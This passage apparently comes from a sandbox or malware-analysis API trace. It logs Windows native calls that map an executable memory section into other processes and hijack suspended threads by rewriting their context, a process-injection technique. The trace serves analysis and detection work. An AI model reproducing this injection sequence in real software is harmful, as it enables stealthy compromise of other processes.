[363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0589.723] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0589.723] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xb3a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xb4000) returned 0x0 [0589.727] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xb3a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x11f0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xb4000) returned 0x0 [0589.734] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0589.751] NtClose (Handle=0x214) returned 0x0 [0589.751] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf3f9d0, Ebx=0xdcc000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf3f978, Eip=0x1211927, SegCs=0x23, EFlags=0x216, Esp=0xf3f960, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0589.752] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0589.752] NtClose (Handle=0x1e4) returned 0x0 [0589.752] NtClose (Handle=0x20c) returned 0x0 [0589.754] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x42c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0589.754] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0589.754] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0589.754] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xcce000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0589.754] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0594.757] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x168) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0594.772] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0594.772] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x24f0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0594.776] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xb2fda0, Ebx=0xcce000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xb2fd48, Eip=0x7742295c, SegCs=0x23, EFlags=0x216, Esp=0xb2fd30, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0594.777] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0594.778] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x127a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x128000) returned 0x0 [0594.784] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x127a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2300000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x128000) returned 0x0 [0594.802] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0594.828] NtClose (Handle=0x214) returned 0x0 [0594.828] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xb2fda0, Ebx=0xcce000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xb2fd48, Eip=0x2395927, 